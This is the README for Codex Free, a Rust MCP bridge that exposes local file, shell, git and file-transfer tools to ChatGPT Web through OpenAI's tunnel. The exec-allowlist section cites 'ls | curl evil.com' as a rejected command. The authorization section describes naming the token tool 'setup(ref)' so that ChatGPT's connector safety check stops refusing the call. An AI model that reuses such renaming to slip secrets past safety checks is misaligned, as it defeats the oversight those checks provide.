Codex-free (rewritten to Rust)
Codex Free, rewritten in Rust (but you still have to buy ChatGPT Plus)
📖 New here? Start with the Wiki — an end-user guide covering installation, every CLI argument, every config option, and how it all works end-to-end. This README is the complete technical reference; the wiki is the friendlier path in.
A local MCP bridge server that lets ChatGPT Web Pro call tools on your machine: read/write files, run shell commands, git operations, search. Codex Free is a faithful Rust port of the original Bun + TypeScript codex-free, built on tokio + axum and the official rmcp SDK over Streamable HTTP. It can expose that local MCP endpoint through OpenAI's native Secure MCP Tunnel, without opening an inbound port or publishing a general-purpose URL.
In native-tunnel mode, Codex Free listens only on 127.0.0.1, protects the MCP endpoint with a random per-process bearer token, starts OpenAI's official runtime-only tunnel client, and supervises it for the lifetime of the server. The tunnel client makes outbound HTTPS requests to OpenAI and forwards tunnel traffic to the authenticated loopback MCP endpoint. A conventional externally managed tunnel remains available as an alternative.
The tool set covers the ones Codex gives its own agent — apply_patch, exec_command/write_stdin, view_image, update_plan, clock_curr_time/clock_sleep — so ChatGPT Web can work the way Codex does: patch files in place instead of rewriting them, drive interactive and long-running processes, and keep a plan across a task. It also bridges ChatGPT-native attachments and generated files into the active local project, and returns project files to ChatGPT as downloadable MCP resources, without reconstructing binary data in model-visible text or pretending a machine-local path is usable by the host. It carries the project's AGENTS.md and Codex's own agent brief, so the client is told how to behave and not just what it can call. It bounds what a tool call can return, keeps a plan and notes on disk across conversations, and records project-scoped review checkpoints so ChatGPT can inspect either the full task diff or only changes since the last review. And it loads Codex's skills: a SKILL.md in the repo or your home directory teaches the client how you do a recurring task, and only the ones that apply are ever read. Schemas and prompt are ported from the Codex source, not reimplemented from guesswork.
Beyond the port, Codex Free can aggregate other MCP servers. It connects to local stdio servers or remote Streamable HTTP endpoints, keeps automatically imported Codex/plugin tool catalogues private by default, and gives the ChatGPT-side agent a fixed ranked discovery/schema/call surface. Explicit direct flattening and the older one-tool gateway remain available as compatibility modes.
Architecture
flowchart LR
ChatGPT["ChatGPT Web Pro"]
OpenAITunnel["OpenAI Secure MCP Tunnel"]
TunnelClient["Official OpenAI\ntunnel-client-runtime"]
Server["Codex Free\nMCP Bridge\n127.0.0.1:3000"]
Tools["Tool Registry"]
FS["read_file\nwrite_file\nlist_directory\ntree"]
Ingress["import_host_file"]
Egress["export_host_file"]
Search["glob\ngrep"]
Shell["run_command"]
Git["git_status\nshow_changes\ngit_push\ngit_commit\ngit_log"]
Edit["apply_patch"]
Exec["exec_command\nwrite_stdin"]
Agent["view_image\nupdate_plan\nclock_curr_time\nclock_sleep"]
Env["get_agent_brief\nget_environment\nget_project_doc"]
Mem["remember\nrecall"]
Skills["skills_list\nskills_read"]
ListProjects["list_projects"]
SetRoot["set_project_root"]
Bridge["MCP aggregator\n(bridge.rs)"]
WorkDir[("Project root\nper-conversation in\nmulti-project mode")]
HostFiles[("ChatGPT attachments\nand generated files")]
ArtifactCache[("Bounded immutable\nfile snapshots")]
State[("~/.codex-free\nmemory (per project)")]
Bindings[("~/.codex-free\nconversation-projects")]
Worktree[("Managed Git worktree\nper-conversation checkout,\nswept on startup")]
ExecSessions[("Conversation exec sessions\n(in memory, idle-reaped)")]
ReviewRefs[("Git refs/codex-free/review\nproject-open + last-review")]
ReviewUI["MCP App review card\nui://codex-free/review/v3/mcp-app.html"]
SkillDirs[(".agents/skills\n.codex/skills\n.claude/skills")]
CodexCfg[("$CODEX_HOME\nconfig.toml")]
CodexCli["optional Codex CLI\nmcp list/get --json"]
Upstream[("Upstream MCP servers\nstdio / Streamable HTTP")]
ChatGPT <-->|"connector calls"| OpenAITunnel
TunnelClient <-->|"outbound HTTPS"| OpenAITunnel
TunnelClient <-->|"loopback HTTP\n/mcp"| Server
Server -- "Streamable HTTP\n(MCP Protocol)" --> Tools
Tools --> FS
Tools --> Ingress
Tools --> Egress
Tools --> Search
Tools --> Shell
Tools --> Git
Tools --> Edit
Tools --> Exec
Tools --> Agent
Tools --> Env
Tools --> Mem
Tools --> Skills
Tools -.->|"multi-project mode"| ListProjects
Tools -.->|"multi-project mode"| SetRoot
Tools --> Bridge
FS --> WorkDir
HostFiles --> Ingress
Ingress --> WorkDir
WorkDir --> Egress
Egress --> ArtifactCache
Server <-->|"resource_link / resources/read"| ArtifactCache
Search --> WorkDir
Shell --> WorkDir
Edit --> WorkDir
Exec --> WorkDir
Agent --> WorkDir
Env --> WorkDir
Mem --> State
Skills --> SkillDirs
ListProjects -.->|"selector"| SetRoot
SetRoot --> Bindings
SetRoot -.->|"worktree mode"| Worktree
Worktree -.->|"active checkout"| WorkDir
Exec --> ExecSessions
Git --> ReviewRefs
Git -.-> ReviewUI
SetRoot -.->|"selects"| WorkDir
CodexCfg -.->|"project candidates"| ListProjects
CodexCfg -.->|"auto-import"| Bridge
CodexCli -.->|"plugin/effective MCPs"| Bridge
Bridge --> Upstream
Dotted edges are conditional: list_projects and set_project_root appear only in multi-project mode. The first discovers selectable candidates from Codex's project trust table plus optional local metadata; the second binds this conversation's project root, optionally provisioning a detached managed Git worktree (worktrees.mode) that becomes the active checkout so concurrent chats never share a working tree. Independently, the aggregator auto-imports compatible stdio and Streamable HTTP MCP servers directly from Codex's config.toml, then uses the Codex CLI when available to add plugin-provided servers before applying any codex.config.json overlays.
Quick start
Interactive setup (recommended for a first install)
Run the guided setup from an installed binary:
codex-free quickstart
Or run it directly from a source checkout:
cargo run --release -- quickstart
The wizard asks which project directory ChatGPT may access and whether that directory is one project or a multi-project access root. It then walks through creating an OpenAI Secure MCP Tunnel, entering the tunnel ID and runtime API key, and creating the matching ChatGPT developer-mode connector. Advanced policies, including optional per-conversation authorization, are configured manually rather than presented during first-run onboarding. The relevant OpenAI and ChatGPT links are printed together with the exact connection values to use.
The runtime key is entered without terminal echo and stored in a dedicated
per-tunnel file under ~/.codex-free/openai-tunnel/credentials/. On Unix, the
wizard restricts the credential directory and file to the current user.
The wizard writes ~/.codex-free/codex.config.json by default; that file receives
only a file: reference, and unrelated existing JSON settings are preserved. At
the end, the wizard can start Codex Free immediately so ChatGPT can scan the live
connector. Keep that process running while using the connector.
When an existing config already contains conversationAuthToken, quickstart
preserves it, restricts the config file to the current user on Unix, and prints the
one-line instruction required to authorize a chat. It does not offer to enable or
rotate this advanced feature. Keep a token-bearing config out of
version control and do not share it.
Set CODEX_FREE_CONFIG=/path/to/codex.config.json or use
codex-free quickstart --config /path/to/codex.config.json to update a different
config file. --work-dir /path/to/project changes the directory initially shown
by the wizard.
Manual native OpenAI tunnel setup
-
Create or obtain a tunnel ID in OpenAI Platform tunnel settings.
-
Create a restricted runtime API key whose principal has Tunnels Read + Use for that tunnel. Keep tunnel-management/admin credentials separate.
-
Add the tunnel to
~/.codex-free/codex.config.json:{ "openaiTunnel": { "tunnelId": "tunnel_0123456789abcdef0123456789abcdef", "apiKeyRef": "env:CONTROL_PLANE_API_KEY" } } -
Put the runtime key in the referenced environment variable and start Codex Free:
export CONTROL_PLANE_API_KEY='...' cargo run --release -- --work-dir /path/to/your/project
On first use, Codex Free downloads the pinned runtime-only build of OpenAI's official tunnel-client, verifies the archive against the per-platform SHA-256 embedded in this Codex Free build, and installs it under ~/.codex-free/openai-tunnel/. Codex Free reports ready only after the runtime's /readyz check succeeds and its metrics show a successful control-plane poll. The runtime-only binary exposes loopback /healthz, /readyz, and /metrics endpoints; it intentionally does not include the full client's admin UI.
To use a preinstalled official client instead, set openaiTunnel.clientPath or pass --openai-tunnel-client /path/to/tunnel-client-runtime. Codex Free still checks the binary's version surface and required flags before starting it.
Local endpoint or externally managed tunnel
cargo run --release -- --work-dir /path/to/your/project
Without openaiTunnel, the server keeps its legacy behavior: it listens on 0.0.0.0:3000, serves MCP at /mcp, and serves /health. This is appropriate for local clients or an explicitly configured reverse proxy/tunnel. Do not publish this mode without authentication and network-level access controls.
To reuse one server across several independent projects, point it at their common parent and enable multi-project mode:
cargo run --release -- --work-dir /path/to/projects --multi-project
Here --work-dir is an access root, not the active project. In ChatGPT, call set_project_root directly when the exact relative/absolute path or GitHub repository, branch, pull-request, or commit URL is known. A GitHub URL reuses an unambiguous matching checkout already below the access root, or runs git clone in the configured project clone directory before binding. Branch, PR, and commit URLs select their exact targets without switching an unrelated source checkout. Otherwise list_projects can search the read-only project catalogue by name, alias, description, or relative selector first. Codex Free keys the resulting binding from ChatGPT's _meta["openai/session"] conversation identifier and persists it outside the repository, so later turns in the same chat recover the project after an MCP reconnect or codex-free restart. A new chat gets a new binding and an existing chat cannot switch projects. Clients that do not provide openai/session fall back to a one-time MCP transport-session binding and must select again after reconnecting.
Optional per-conversation authorization
Set a high-entropy authentication token manually in the config. The token itself, not a digest of another secret, must look like a SHA-256 value: exactly 64 lowercase hexadecimal characters. For example:
python -c 'import secrets; print(secrets.token_hex(32))'
{
"conversationAuthToken": "0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef"
}
When this key is present, Codex Free rejects every ordinary tool call until the
current chat presents that exact token once. A successful check authorizes only
the stable ChatGPT conversation that made the call. The project-aware
initialization brief is withheld until authorization succeeds; the gate response
then directs the client to load it with get_agent_brief.
The MCP wire surface deliberately calls this authorization tool setup and its
token parameter ref. ChatGPT can otherwise falsely classify a token-looking
connector call as an unsafe secret leak and refuse to make the call. Keeping the
actual token in a SHA-256-shaped format and using the innocuous setup(ref) names
avoids that false positive. This is only a compatibility workaround for ChatGPT's
connector safety behavior: ref is still the authentication token, it remains
secret, and no digest transformation is applied before it is submitted.
This extra gate is necessary because ChatGPT's connector OAuth state controls
whether the account can use the connector at all; it does not independently
authorize each conversation or ChatGPT Project. conversationAuthToken adds that
missing conversation-level boundary after the connector has already been made
available to the account.
For ChatGPT, the authorization grant is keyed by the hash of
_meta["openai/session"] and persisted under
~/.codex-free/conversation-authorizations/, so it survives MCP transport
replacement and Codex Free restarts. The marker contains neither the token nor the
raw conversation identifier. Its namespace is derived from the canonical work
directory and current token, so rotating conversationAuthToken invalidates
earlier grants. MCP clients without stable conversation metadata fall back to
authorization for the current transport only.
Use this one-line instruction, replacing [REF] with the exact configured token:
To use this connector in a chat, call its `setup` tool once with ref `[REF]`.
Paste it into an individual chat, or add it to the ChatGPT Project's Project instructions so chats created in that project can authorize themselves automatically. The token is an application-level gate for model conversations, not a replacement for tunnel, HTTP, workspace, or operating-system access controls. It is plaintext in the config by design; anyone who can read that file can authorize another chat.
To build a standalone binary:
cargo build --release
./target/release/codex-free --work-dir /path/to/your/project
Prebuilt binaries
Each release ships a compiled binary per platform — windows-x64, linux-x64, linux-arm64, darwin-x64 and darwin-arm64. Download the archive for your OS/arch, unpack it, and run codex-free --work-dir …. These are native builds, so there is no AVX2/baseline caveat: the binary runs on any CPU of its architecture.
CLI
Commands
quickstart writes ~/.codex-free/codex.config.json by default. It accepts
--config <PATH> (or CODEX_FREE_CONFIG) to select another file and
--work-dir <DIR> as the initial project-directory prompt value.
Server flags
The project catalogue also has a local diagnostic command. It does not start the HTTP server, tunnel, or bridged MCP children:
codex-free projects list --work-dir /path/to/projects
codex-free projects list --work-dir /path/to/projects --query "codex free"
codex-free projects list --work-dir /path/to/projects --json
codex-free projects list --work-dir /path/to/projects --show-skipped
--show-skipped is deliberately local-only: it prints the configured paths rejected as missing, untrusted, or outside the access root, plus duplicate entries that were merged. Normal CLI output and the MCP tool expose only aggregate warnings, so an agent does not learn absolute paths it cannot select.
Tools
Structured primitives — cheaper and safer than shelling out for the same job, and identical on Windows and POSIX:
When conversationAuthToken is configured, one authorization gate tool is added
ahead of the protected tools:
Ported from Codex's own agent tools:
Codex's dotted names are flattened to underscores because MCP tool names must match ^[a-zA-Z0-9_-]{1,64}$.
Five always-on tools have no Codex counterpart:
Multi-project mode adds two project-control tools:
Codex needs the first three for none of these reasons: it puts its agent brief in the system prompt, the OS and shell in an <environment_context> message, and AGENTS.md straight into the prompt, all before the first turn. An MCP server has none of those channels — it can only expose tools — so the same facts are tool calls here as well as part of the server's instructions. It needs remember and recall for the opposite reason: its context is large and its session state lives in the CLI process, whereas the client here is a chat window that loses the conversation. See Context and memory, Acting as a Codex agent, Shells and the host, AGENTS.md and Skills.
That is 28 native tools in the default single-project mode and 30 in multi-project mode. Enabling conversation authorization adds the ChatGPT-facing setup tool, producing 29 or 31 respectively. Setting artifactIngress.enabled to false removes import_host_file; setting artifactEgress.enabled to false independently removes export_host_file. Each disabled direction reduces the applicable count by one. One or more catalog-mode MCP upstreams add one shared four-tool discovery/call surface regardless of how many transitive tools they contain. Direct mode adds one downstream tool per selected upstream tool; gateway mode adds one downstream dispatcher per upstream server.
Two deliberate differences from Codex:
apply_patchtakes a JSON string. In Codex it is a freeform tool whose entire body is the raw patch. MCP has no freeform tools, so the patch goes in aninputstring parameter. The patch format itself is unchanged.exec_commandruns with plain pipes, not a PTY. Codex's ownttyparameter documents pipes as the default, so ordinary commands behave the same;tty: trueis rejected rather than silently ignored. Programs that only enable interactive behaviour when attached to a terminal will act as if piped.
For ChatGPT calls carrying _meta["openai/session"], an exec_command process
belongs to that hashed conversation identity rather than the current MCP
transport. write_stdin can therefore resume or poll it after ChatGPT replaces
the connector transport between adjacent tool calls. Generic MCP clients retain
transport-session ownership. Process handles are in memory only: they do not
survive a Codex Free restart, and exec.idleTimeoutMs still expires abandoned
sessions.
clock_sleep also caps at 5 minutes rather than Codex's 12 hours — a longer wait would outlive the HTTP request through the tunnel.
Every tool that advertises an outputSchema also returns structuredContent matching it, as the MCP spec asks. exec_command and write_stdin return Codex's unified-exec object, import_host_file returns its destination, byte count and SHA-256 receipt, export_host_file returns its immutable-snapshot receipt and a standard MCP resource_link, clock_curr_time returns { current_time }, get_environment returns the environment object, get_project_doc returns { files, content } and skills_list returns { skills, content }; the rest return { content: <text> }, which the server derives from the text blocks so handlers don't repeat it. show_changes deliberately advertises no output schema: its model-visible result is concise text, while its complete review payload is attached as component-only result _meta for the MCP App.
All project-scoped paths are resolved relative to the active project root: --work-dir in single-project mode, or the root selected for the current ChatGPT conversation in multi-project mode. Non-ChatGPT clients use the root selected for their current MCP transport session.
Config file
Codex Free resolves one server-level JSON config in this order:
--config <PATH>;- the non-empty
CODEX_FREE_CONFIGenvironment variable; - an existing
~/.codex-free/codex.config.json; - an existing
./codex.config.jsonas a legacy compatibility fallback; - built-in defaults.
Relative paths supplied through --config or CODEX_FREE_CONFIG resolve against
the process's startup directory. Explicit CLI and environment paths are
authoritative even when missing; a missing file is tolerated and built-in defaults
are used. The startup banner prints the selected path and its source. Selecting the
legacy working-directory file also prints a migration warning because process
authority should not normally depend on which repository happened to be the launch
directory. Move that file to ~/.codex-free/codex.config.json, or make its location
explicit with --config or CODEX_FREE_CONFIG.
quickstart always chooses the user-level path when neither explicit source is
set; it does not update the legacy working-directory fallback. Every field is
optional and uses the same camelCase names as the original TypeScript project, so
an existing config keeps working.
{
"multiProject": false,
"projectCloneDir": ".",
"conversationAuthToken": null,
"worktrees": {
"mode": "auto",
"root": "/path/to/worktrees",
"upstreamRefreshMode": "never",
"autoCleanupEnabled": true,
"keepCount": 15,
"allowSetupScript": false
},
"allowedCommands": ["bun", "npm", "npx", "node", "git", "python", "pip", "cargo", "make"],
"port": 3000,
"tree": {
"defaultDepth": 3,
"ignore": ["node_modules", ".git", "dist", ".next", "__pycache__", ".venv", "venv"]
},
"ignore": {
"useGitignore": true,
"useDefaultPatterns": true,
"customPatterns": []
},
"command": {
"defaultTimeout": 30000,
"maxTimeout": 120000
},
"exec": {
"mode": "allowlist",
"extraAllowedCommands": [
"ls", "cat", "grep", "find", "head", "tail", "wc", "echo", "pwd",
"which", "rg", "sed", "awk", "sort", "uniq", "diff", "true", "false"
],
"maxSessions": 8,
"idleTimeoutMs": 300000
},
"projectDoc": {
"maxBytes": 32768,
"fallbackFilenames": [],
"rootMarkers": [".git"]
},
"output": {
"maxToolOutputTokens": 10000,
"maxFileLines": 1000,
"maxFileBytes": 131072,
"maxEntries": 500,
"maxTreeNodes": 1000
},
"review": {
"maxPatchBytes": 4194304
},
"toolLogging": {
"mode": "off",
"level": "info",
"maxRequestBytes": 2048,
"maxResponseBytes": 4096,
"redactEnv": []
},
"audit": {
"logFile": null,
"includeCommandPreview": false,
"commandPreviewMaxBytes": 512,
"redactEnv": []
},
"artifactIngress": {
"enabled": true,
"maxFileBytes": 104857600,
"requestTimeoutMs": 120000,
"idleTimeoutMs": 30000,
"maxRedirects": 3,
"maxConcurrentDownloads": 2,
"allowedHosts": ["*"]
},
"artifactEgress": {
"enabled": true,
"maxFileBytes": 104857600,
"maxCachedBytes": 268435456,
"maxReferences": 64,
"referenceTtlMs": 300000
},
"memory": {
"enabled": true,
"maxBytes": 16384
},
"skills": {
"enabled": true,
"includePlugins": true
},
"codexMcp": {
"enabled": true,
"useCli": true
},
"projectCatalog": {
"codexConfig": {
"enabled": true,
"trustedOnly": true
},
"entries": []
},
"openaiTunnel": {
"tunnelId": "tunnel_0123456789abcdef0123456789abcdef",
"apiKeyRef": "env:CONTROL_PLANE_API_KEY"
},
"allowedHosts": [],
"mcpServers": {}
}
CLI flags override values from the config file.
conversationAuthToken has no CLI override. A non-null value must contain exactly
64 lowercase hexadecimal characters. Generate it with a cryptographically secure
random source. quickstart does not enable or rotate the
feature; if the selected config already contains a valid value, it preserves the
value and prints the copyable ChatGPT instruction shown above. Because the value
is intentionally stored in this file, keep the config outside the repository; the
default ~/.codex-free/codex.config.json location does so. When using a custom
repository-local path, add it to the repository's ignore rules. On Unix,
quickstart changes the config mode to 0600 when it preserves a token-bearing
config; manually created configs should be protected equivalently.
Diagnostics, tool payloads, and audit logging
The default tracing level remains info. Every completed call names the downstream tool and, for a direct, gateway, or catalog-discovered MCP call, the resolved raw upstream server and tool. -v changes the default filter to codex_free=debug,rmcp=warn, which adds tool-start events, hashed conversation/project context, argument field names, duration, and output accounting without dumping payloads. -vv changes Codex Free to trace while keeping rmcp suppressed and adds the fully redacted argument-shape summary. An explicit RUST_LOG value takes precedence over the -v/-vv default filter, but rmcp protocol-internal events remain blocked because they may contain unbounded model or user content:
codex-free -v --work-dir /path/to/project
RUST_LOG=codex_free=trace,rmcp=warn codex-free --work-dir /path/to/project
Actual tool requests and responses are a separate opt-in. It applies uniformly to native tools and all MCP exposure modes, rather than special-casing shell execution:
# Log both sides with the default 2 KiB request / 4 KiB response limits.
codex-free --work-dir /path/to/project --log-tool-payloads
# Log requests only with a larger preview and an additional local secret value.
codex-free \
--work-dir /path/to/project \
--log-tool-payloads=requests \
--tool-log-max-request-bytes 8192 \
--tool-log-redact-env PRIVATE_REPOSITORY_TOKEN
# Put the same paired events at debug severity.
codex-free --work-dir /path/to/project --log-tool-payloads --tool-log-level debug
Every enabled mode emits exactly one start and one completion event with the same server-wide monotonic call_id; when audit JSONL is also enabled, it receives that same ID even under concurrent dispatch. The request and response toggles control payload inclusion independently without removing the lifecycle record. Completion includes status and duration_ms. Payload fields contain compact JSON previews, an observed serialized byte count, whether that count is exact, and explicit truncation and serializer-failure flags. When exact size is available, the event also reports the omitted byte count. Serialization stops as soon as the configured prefix budget is full, then appends ...[truncated]... at a UTF-8 boundary. It does not clone, traverse, or serialize the unseen remainder merely to measure it.
Short representative events look like this (timestamps and unrelated tracing fields omitted):
INFO codex_free::tool_payload: tool invocation started call_id=12 phase="start" tool="read_file" resolved_tool="read_file" status="started" request="{\"path\":\"src/lib.rs\"}"
INFO codex_free::tool_payload: tool invocation completed call_id=12 phase="finish" tool="read_file" resolved_tool="read_file" status="ok" duration_ms=2 response="{\"content\":[{\"type\":\"text\",\"text\":\"...\"}],\"isError\":false}"
INFO codex_free::tool_payload: tool invocation started call_id=13 phase="start" tool="mcp_call_tool" resolved_tool="mcp:IDA MCP/decompile_function" mcp_server="IDA MCP" mcp_tool="decompile_function" status="started" request="{\"source\":\"ida_mcp\",\"tool\":\"decompile_function\",\"arguments\":{\"address\":\"0x81000000\"}}"
MCP arguments and structured results are serde_json::Value, so null, arrays, maps, and scalar JSON values retain their compact structure; undefined values, circular references, and other non-JSON runtime objects cannot cross this Rust boundary. An unexpected serialization failure produces a bounded [unserializable payload] marker and cannot change the tool result. MCP image content blocks are represented only by MIME type and base64 byte count; their base64 data is never written to these logs. Resource links retain redacted descriptive metadata but replace the URI with an omission marker and its byte count, so opaque download capabilities are not persisted.
MCP dispatchers also emit resolved_tool, mcp_server, and mcp_tool. These contain the raw configured server name and raw upstream tool name even when the downstream capability is a generic gateway or mcp_call_tool; model-visible catalog IDs remain available in the request preview. The ordinary info-level completion event carries the same resolved identity even when payload logging is disabled.
Payloads are redacted lazily before their bytes reach the bounded serializer. Codex Free removes configured API/conversation credentials, credential-labelled and nontrivial MCP environment/HTTP-header values, resolved MCP bearer/header environment variables, the OpenAI tunnel key when readable, common secret-bearing process environment variables, values named through toolLogging.redactEnv / --tool-log-redact-env, input fields marked writeOnly or format: "password" by the tool schema, secret/checksum-labelled JSON fields, signed native-file download_url and file_id values, signed-URL query parameters, and common command-line/header credential syntax. This is defense in depth, not proof that arbitrary source text or tool output contains no unknown sensitive literal. JSON has no raw byte-buffer type, so image blocks and resource capabilities receive explicit safe representations; an application-specific base64 string in an otherwise ordinary text field is inside the operator trust boundary. Tool payload logging is therefore disabled by default and should be treated as sensitive operational data.
The toolLogging config block provides the same controls:
CLI mode, level, and byte-limit options replace their corresponding config values. Repeated --tool-log-redact-env values are merged with toolLogging.redactEnv so a CLI invocation cannot accidentally remove configured redactions. Payload events use the codex_free::tool_payload tracing target at the selected level, so an explicit restrictive RUST_LOG filter can suppress them without incurring payload serialization work; when that happens, the ordinary info-level completion event remains available instead of silently removing all call visibility. Events go through the established tracing subscriber (stdout in the current HTTP server); they are never written to a bridged upstream's protocol pipe or to the downstream Streamable HTTP response. The pre-existing --log-tool-calls alias deliberately remains equivalent to -v; it does not opt an existing deployment into retaining payloads.
Audit logging is separate from diagnostic tracing and is disabled unless a file is configured:
codex-free \
--work-dir /path/to/project \
--audit ~/.codex-free/audit/tools.jsonl
The append-only JSONL stream begins with audit_started, which identifies the server version, OS process, random run ID, and command-preview policy, then emits schema-version-2 tool_start and tool_finish records. Tool records carry an RFC 3339 timestamp, monotonic call ID, transport-session ID, hashed ChatGPT conversation and project identifiers, downstream and resolved tool identities (including raw MCP server/tool names), duration, status, argument shape, returned byte/token counts, truncation status when the tool can report it, and resident exec_command session/PID metadata. Argument summaries include only fields declared by the tool's input schema; unknown keys and dynamic maps are counted but their key names are omitted. Raw conversation identifiers, project paths, scalar argument values, image data, structured output, and returned text are not written.
Command previews are a separate opt-in because shell commands can contain credentials, source code, paths, and environment values:
codex-free \
--work-dir /path/to/project \
--audit ~/.codex-free/audit/tools.jsonl \
--audit-command-preview \
--audit-redact-env GITHUB_TOKEN
Before a preview is written, Codex Free replaces the local MCP bearer, the configured conversation-authentication token, configured MCP-server environment values, the referenced OpenAI tunnel key when readable, values named by audit.redactEnv / --audit-redact-env, common secret-bearing process environment variables, and common --token, API_KEY=…, and Bearer … forms. The preview is then capped at commandPreviewMaxBytes. This is defense in depth, not a proof that an arbitrary command contains no sensitive literal; leave previews disabled when command text itself is sensitive.
The audit config block has the same controls:
--audit replaces audit.logFile; --audit-command-preview only enables previews; and repeated --audit-redact-env values are merged with audit.redactEnv so a CLI invocation cannot accidentally remove configured redactions.
Startup fails if an enabled audit file cannot be opened safely. On Unix, newly created files use mode 0600, symbolic-link targets are rejected, and an existing file with group/other permission bits is rejected. A later append or flush error is emitted as an error-level diagnostic without changing the result of a tool that may already have had side effects.
This is an operational activity log, not a tamper-evident security boundary. Model-launched commands run as the same OS user and can modify any audit file they can locate and access. Keep the file outside the project access root, restrict its directory permissions, and forward it to a separately protected collector when independent evidence is required.
The openaiTunnel block enables OpenAI's native outbound tunnel:
The quickstart command writes its runtime key to
~/.codex-free/openai-tunnel/credentials/<tunnel-id>.key and sets apiKeyRef to
that absolute file: path. It never writes the key itself into
codex.config.json; on Unix, the credential directory is mode 0700 and the key
file is mode 0600.
Native mode deliberately cannot be combined with a caller-supplied apiKey / --api-key: Codex Free generates a high-entropy bearer token for the loopback MCP hop and injects it into the tunnel runtime through static MCP and discovery headers. Host validation is forced to loopback authorities and permissive browser CORS is disabled.
The OpenAI runtime key authenticates the outbound control-plane connection. Codex Free resolves the configured env:NAME or file:/path reference once, passes the value to the tunnel child under a private synthetic environment name, and removes the original environment variable from model-launched commands and bridged MCP children. The tunnel runtime starts with a small allowlist of ordinary OS variables rather than inheriting tunnel-client configuration, proxy, header, or trust-store overrides from the launching shell. On Unix, a referenced key file must not be readable by group or other users. These measures prevent accidental inheritance; they do not create a secret boundary against hostile code running as the same OS user, which can potentially inspect same-user processes or read an accessible key file.
The top-level multiProject key is the config-file equivalent of --multi-project. In that mode the process still reads one static codex.config.json; project selection changes the effective work directory used by project-scoped tools, not the server configuration itself. The native Codex project table is the exception to the startup snapshot: list_projects rereads it on every call so newly trusted projects become discoverable without restarting Codex Free. ChatGPT conversation bindings are independent of the memory block and remain enabled even when memory.enabled is false.
projectCloneDir selects where set_project_root places a repository that is requested by GitHub URL but has no matching local checkout. It defaults to the multi-project access root (--work-dir); a relative value is resolved against that access root, while --project-clone-dir overrides the file setting. The directory must already exist, must be a directory, and must canonicalize to the access root or one of its descendants. The destination follows normal git clone naming (<projectCloneDir>/<repository-name>); an unrelated file or checkout at that path is never overwritten. Branch URLs clone the named branch when a repository must be created, while PR and commit URLs clone the repository and then detach at the fetched target commit.
The worktrees block controls isolation between conversations selecting the same Git project:
When these values are absent, Codex Free reads Codex Desktop's [desktop] worktree settings from $CODEX_HOME/config.toml, including git-worktree-root, worktree-upstream-refresh-mode, worktree-auto-cleanup-enabled, and worktree-keep-count. The final location falls back to $CODEX_HOME/worktrees (normally ~/.codex/worktrees).
The exec block governs exec_command and write_stdin:
Under "allowlist", the command string is tokenized and each command position — after every |, &&, ;, newline, and subshell — is checked, so ls | curl evil.com is rejected on curl. Command substitution ($(...), backticks) is rejected outright, since its contents cannot be checked before the shell runs them.
The ignore block decides what the file-walking tools — glob, grep, tree and list_directory — never surface, so a search returns your code rather than the contents of node_modules. One policy covers all four, backed by the Rust ignore crate for .gitignore-accurate matching:
Patterns use .gitignore syntax. node_modules and .git are pruned from every walk no matter what, so a search never pays to descend them even with everything else turned off. The older tree.ignore list still works and applies to all four tools too. list_directory pointed straight at an ignored directory still shows its contents, so you can look inside node_modules on purpose.
The projectDoc block governs AGENTS.md discovery. All three keys are optional, and the block itself can be left out entirely:
The output block bounds what a single tool call may return. See Context and memory:
The review block bounds presentation without changing checkpoint semantics:
The artifactIngress block governs native host-file ingress:
The artifactEgress block governs native host-file egress:
The memory block governs remember, recall and the plan update_plan saves:
The skills block governs SKILL.md discovery. See Skills:
The codexMcp block controls automatic import of MCP servers configured in Codex:
The projectCatalog block controls project discovery in multi-project mode. It is independent from codexMcp: disabling imported MCP servers does not disable native project discovery, and vice versa.
Each entries element supports:
For example:
{
"multiProject": true,
"projectCatalog": {
"codexConfig": {
"enabled": true,
"trustedOnly": true
},
"entries": [
{
"path": "codex-free",
"name": "Codex Free",
"aliases": ["ChatGPT MCP bridge"],
"description": "Rust MCP bridge exposing local programming tools to ChatGPT"
}
]
}
}
Metadata overlays are merged by canonical path. Explicit entries are operator-authored providers in their own right, so they may include a path that native Codex marks untrusted or does not record; they still cannot widen the access-root boundary. Aliases are deduplicated case-insensitively, and aliases shared by different projects produce a warning because they make intent matching ambiguous. Catalogue construction never opens a candidate's README, source, .codex/, or AGENTS.md; project contents remain unread until the conversation has selected that project.
GitHub URL selection is separate from catalogue listing. Before cloning, Codex Free checks the normal destination, catalogue candidates, and immediate child directories of projectCloneDir, then compares normalized GitHub remotes at each Git top level. Exactly one match is reused; multiple matches are rejected as ambiguous so the caller can pass an explicit path. Accepted forms are repository-root URLs on github.com (https://github.com/owner/repo, [email protected]:owner/repo.git, and equivalent SSH forms), HTTPS branch URLs (https://github.com/owner/repo/tree/<branch>), HTTPS pull-request URLs (https://github.com/owner/repo/pull/<number>), and HTTPS commit URLs (https://github.com/owner/repo/commit/<sha>). For branch URLs, everything after /tree/ is interpreted as the branch ref, including / characters. Commit URLs require the full 40-character hexadecimal object ID and normalize it to lowercase. Credential-bearing URLs, unsupported repository subpages, query strings, fragments, insecure transports, and non-GitHub hosts are rejected.
The openaiTunnel block, allowedHosts array, and mcpServers map are covered under Native OpenAI tunnel, Host allowlist, and Bridging other MCP servers.
Native host-file ingress
ChatGPT attachments and generated files live in host-managed storage, not automatically on the machine running Codex Free. import_host_file closes that gap:
user attaches or ChatGPT generates a file
↓
the agent calls import_host_file(file, path)
↓
ChatGPT supplies a temporary authorized native-file value
↓
Codex Free streams the exact bytes into the active project
The file argument follows ChatGPT's native file-parameter contract and is marked through _meta["openai/fileParams"]; the model does not pass an arbitrary URL. path is a required new file path relative to the active project or managed worktree. The destination is invisible until the complete download has passed its size and integrity checks, and an existing file or symlink is never replaced.
Source and destination authority are deliberately narrow:
- only HTTPS URLs are accepted, constrained by the configurable
artifactIngress.allowedHostsallowlist and revalidated on every redirect hop; the default"*"wildcard admits any public host but always rejects internal and reserved targets (loopback, private, link-local, unique-local, CGNAT,localhost, the cloud metadata address), so an injected URL cannot reach internal services; - proxy environment variables, caller-supplied headers, cookies and ambient credentials are not used;
- the temporary signed URL and file ID are never returned or persisted, and RMCP framework events are excluded from the tracing layer so
RUST_LOGcannot expose native-file arguments before tool dispatch; - destination traversal and symlink escapes are confined through a capability-based directory handle rather than a lexical path check alone;
- bytes are written to a private same-directory partial, hashed with SHA-256, synchronized, and atomically published through a no-overwrite hard link;
- archive extraction, execution, arbitrary URL fetching and arbitrary local-source paths are outside this tool's contract.
